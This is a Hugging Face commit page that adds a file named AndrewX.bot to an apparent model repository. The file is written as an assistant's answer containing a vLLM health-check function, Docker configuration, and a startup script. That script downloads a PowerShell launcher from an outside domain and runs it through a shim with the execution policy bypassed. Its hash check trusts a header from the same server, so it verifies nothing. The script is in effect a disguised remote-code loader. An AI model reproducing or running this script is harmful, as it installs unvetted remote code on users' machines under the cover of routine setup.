omegaT4224
/

Token Classification
Transformers
Safetensors
English
Chinese
glm_moe_dsa
text-generation
code
Eval Results
omegaT4224 commited on
Commit
2debe63
·
verified ·
1 Parent(s): 118822d

Create AndrewX.bot

Browse files
Files changed (1) hide show
  1. AndrewX.bot +217 -0
AndrewX.bot ADDED
@@ -0,0 +1,217 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Here is the complete set covering all three follow-up items: model ID and GPU VRAM checks in `Test-VllmEndpoints`, a sample `Dockerfile` and `docker-compose.yml` aligned for port `8000` and RTX Pro 6000 VRAM allocation, and an `Andrewx.bot` rebranded startup script.
2
+
3
+ ### 1. Model ID & GPU VRAM Probe (`Test-VllmEndpoints`)
4
+
5
+ Extend `Test-VllmEndpoints` to verify `/health`, assert a specific expected model ID in `/v1/models`, optionally check `/edge/status`, and log `nvidia-smi` VRAM usage once ready:
6
+
7
+ ```powershell
8
+ function Test-VllmEndpoints {
9
+ param(
10
+ [string]$BaseUri = 'http://127.0.0.1:8000',
11
+ [string]$EdgeStatusUri = 'http://127.0.0.1:8000/edge/status',
12
+ [string]$ExpectedModelId = '',
13
+ [switch]$RequireEdgeStatus,
14
+ [int]$TimeoutSec = 3
15
+ )
16
+
17
+ $null = Invoke-RestMethod -Uri "$BaseUri/health" -Method Get -TimeoutSec $TimeoutSec
18
+
19
+ $modelsResponse = Invoke-RestMethod -Uri "$BaseUri/v1/models" -Method Get -TimeoutSec $TimeoutSec
20
+ $modelItems = @($modelsResponse.data)
21
+ if ($modelItems.Count -lt 1) {
22
+ throw 'vLLM /v1/models responded with zero loaded models'
23
+ }
24
+
25
+ if (-not [string]::IsNullOrWhiteSpace($ExpectedModelId)) {
26
+ $matched = $modelItems | Where-Object { $_.id -eq $ExpectedModelId }
27
+ if (-not $matched) {
28
+ $available = ($modelItems | ForEach-Object { $_.id }) -join ', '
29
+ throw "Expected model '$ExpectedModelId' not found in /v1/models (found: $available)"
30
+ }
31
+ }
32
+
33
+ if ($RequireEdgeStatus) {
34
+ $null = Invoke-RestMethod -Uri $EdgeStatusUri -Method Get -TimeoutSec $TimeoutSec
35
+ } else {
36
+ try {
37
+ $null = Invoke-RestMethod -Uri $EdgeStatusUri -Method Get -TimeoutSec $TimeoutSec
38
+ } catch {
39
+ # Optional endpoint during local direct container testing
40
+ }
41
+ }
42
+
43
+ if (Get-Command nvidia-smi -ErrorAction SilentlyContinue) {
44
+ $vramInfo = nvidia-smi --query-gpu=index,name,memory.used,memory.total --format=csv,noheader 2>$null
45
+ if ($LASTEXITCODE -eq 0 -and -not [string]::IsNullOrWhiteSpace(($vramInfo -join ''))) {
46
+ Write-Host "GPU VRAM: $($vramInfo -join ' | ')"
47
+ }
48
+ }
49
+
50
+ return $true
51
+ }
52
+
53
+ ```
54
+
55
+ ---
56
+
57
+ ### 2. `Dockerfile` & `docker-compose.yml` for Port `8000` and RTX Pro 6000 VRAM
58
+
59
+ Adjust `--gpu-memory-utilization` and `--max-model-len` to fit your exact model weights plus KV cache headroom on your RTX Pro 6000:
60
+
61
+ ```dockerfile
62
+ FROM vllm/vllm-openai:latest
63
+
64
+ ENV VLLM_HOST=0.0.0.0 \
65
+ VLLM_PORT=8000
66
+
67
+ WORKDIR /app
68
+
69
+ EXPOSE 8000
70
+
71
+ HEALTHCHECK --interval=10s --timeout=5s --start-period=60s --retries=12 \
72
+ CMD curl -fsS http://127.0.0.1:8000/health || exit 1
73
+
74
+ ```
75
+
76
+ ```yaml
77
+ services:
78
+ vllm:
79
+ build:
80
+ context: .
81
+ dockerfile: Dockerfile
82
+ container_name: andrewx-vllm-8000
83
+ ports:
84
+ - "127.0.0.1:8000:8000"
85
+ volumes:
86
+ - ~/.cache/huggingface:/root/.cache/huggingface
87
+ environment:
88
+ - HF_HOME=/root/.cache/huggingface
89
+ command: >
90
+ --model Qwen/Qwen2.5-7B-Instruct
91
+ --served-model-name Emulator.exe
92
+ --host 0.0.0.0
93
+ --port 8000
94
+ --gpu-memory-utilization 0.90
95
+ --max-model-len 16384
96
+ deploy:
97
+ resources:
98
+ reservations:
99
+ devices:
100
+ - driver: nvidia
101
+ count: all
102
+ capabilities: [gpu]
103
+ restart: unless-stopped
104
+
105
+ ```
106
+
107
+ ---
108
+
109
+ ### 3. `Andrewx.bot` Rebranded Startup Script
110
+
111
+ This script uses `andrewx.bot` command and environment variable naming (`ANDREWX_LAUNCHER_URL`, `ANDREWX_INSTALL_DIR`, `ANDREWX_LAUNCHER_INSTALL`, `ANDREWX_UPGRADE_MODE`), enforces mandatory `x-content-sha256` verification, and waits for `/health`, `/v1/models`, and optional `/edge/status`:
112
+
113
+ ```powershell
114
+ Set-StrictMode -Version Latest
115
+ $ErrorActionPreference = 'Stop'
116
+
117
+ $command_name = 'andrewx.bot'
118
+ $launcher_url = if ([string]::IsNullOrWhiteSpace($env:ANDREWX_LAUNCHER_URL)) {
119
+ 'https://andrewleecruz.vip/andrewx-bot-launcher.ps1'
120
+ } else {
121
+ $env:ANDREWX_LAUNCHER_URL
122
+ }
123
+ $install_dir = if ([string]::IsNullOrWhiteSpace($env:ANDREWX_INSTALL_DIR)) {
124
+ Join-Path $env:LOCALAPPDATA "Programs\$command_name"
125
+ } else {
126
+ $env:ANDREWX_INSTALL_DIR
127
+ }
128
+ $ComposeFile = '.\docker-compose.yml'
129
+ $BaseUri = 'http://127.0.0.1:8000'
130
+ $EdgeStatusUri = 'http://127.0.0.1:8000/edge/status'
131
+ $ExpectedModelId = 'Emulator.exe'
132
+ $RequireEdge = $false
133
+ $StartupTimeout = [TimeSpan]::FromMinutes(5)
134
+ $PollIntervalSec = 3
135
+
136
+ $launcher = Join-Path $install_dir '.andrewx-bot-launcher.ps1'
137
+ $shim = Join-Path $install_dir "$command_name.cmd"
138
+
139
+ try {
140
+ New-Item -ItemType Directory -Force -Path $install_dir | Out-Null
141
+
142
+ if (-not (Test-Path -LiteralPath $shim -PathType Leaf)) {
143
+ [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
144
+ $tmpLauncher = Join-Path $install_dir ".$command_name-launcher.$([Guid]::NewGuid().ToString('N').Substring(0, 6))"
145
+
146
+ try {
147
+ $response = Invoke-WebRequest -UseBasicParsing -Uri $launcher_url -MaximumRedirection 3 -TimeoutSec 60 -OutFile $tmpLauncher -PassThru
148
+ $expectedHash = (($response.Headers['x-content-sha256'] | Select-Object -First 1) + '').Trim().ToLowerInvariant()
149
+ if ($expectedHash -notmatch '^[0-9a-f]{64}$') {
150
+ throw "refusing launcher: missing or invalid x-content-sha256 header from $launcher_url"
151
+ }
152
+
153
+ $actualHash = (Get-FileHash -LiteralPath $tmpLauncher -Algorithm SHA256).Hash.ToLowerInvariant()
154
+ if ($actualHash -cne $expectedHash) {
155
+ throw "refusing launcher: SHA-256 mismatch (expected $expectedHash, got $actualHash)"
156
+ }
157
+
158
+ Move-Item -LiteralPath $tmpLauncher -Destination $launcher -Force
159
+ } finally {
160
+ if (Test-Path -LiteralPath $tmpLauncher -PathType Leaf) {
161
+ Remove-Item -LiteralPath $tmpLauncher -Force -ErrorAction SilentlyContinue
162
+ }
163
+ }
164
+
165
+ $psExe = '"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"'
166
+ $shimLines = @(
167
+ '@echo off',
168
+ 'setlocal',
169
+ "$psExe -NoProfile -ExecutionPolicy Bypass -File `"%~dp0.andrewx-bot-launcher.ps1`" %*",
170
+ 'exit /b %ERRORLEVEL%'
171
+ )
172
+ [IO.File]::WriteAllText($shim, (($shimLines -join "`r`n") + "`r`n"), [System.Text.Encoding]::ASCII)
173
+
174
+ $prevInstall = $env:ANDREWX_LAUNCHER_INSTALL
175
+ try {
176
+ $env:ANDREWX_LAUNCHER_INSTALL = '1'
177
+ & $shim
178
+ if ($LASTEXITCODE -ne 0) {
179
+ throw "launcher initial install failed with exit code $LASTEXITCODE"
180
+ }
181
+ } finally {
182
+ $env:ANDREWX_LAUNCHER_INSTALL = $prevInstall
183
+ }
184
+ }
185
+
186
+ if (Test-Path -LiteralPath $ComposeFile -PathType Leaf) {
187
+ docker compose -f $ComposeFile up -d --wait
188
+ if ($LASTEXITCODE -ne 0) {
189
+ throw "docker compose failed with exit code $LASTEXITCODE"
190
+ }
191
+ }
192
+
193
+ $deadline = (Get-Date).Add($StartupTimeout)
194
+ $healthy = $false
195
+
196
+ while ((Get-Date) -lt $deadline) {
197
+ try {
198
+ if (Test-VllmEndpoints -BaseUri $BaseUri -EdgeStatusUri $EdgeStatusUri -ExpectedModelId $ExpectedModelId -RequireEdgeStatus:$RequireEdge -TimeoutSec 3) {
199
+ $healthy = $true
200
+ break
201
+ }
202
+ } catch {
203
+ Start-Sleep -Seconds $PollIntervalSec
204
+ }
205
+ }
206
+
207
+ if (-not $healthy) {
208
+ throw "Timed out waiting for healthy $command_name vLLM endpoints at $BaseUri"
209
+ }
210
+
211
+ Write-Host "$command_name vLLM stack ready on $BaseUri"
212
+ } finally {
213
+ Get-ChildItem -LiteralPath $install_dir -Filter ".$command_name-launcher.*" -ErrorAction SilentlyContinue |
214
+ Remove-Item -Force -ErrorAction SilentlyContinue
215
+ }
216
+
217
+ ```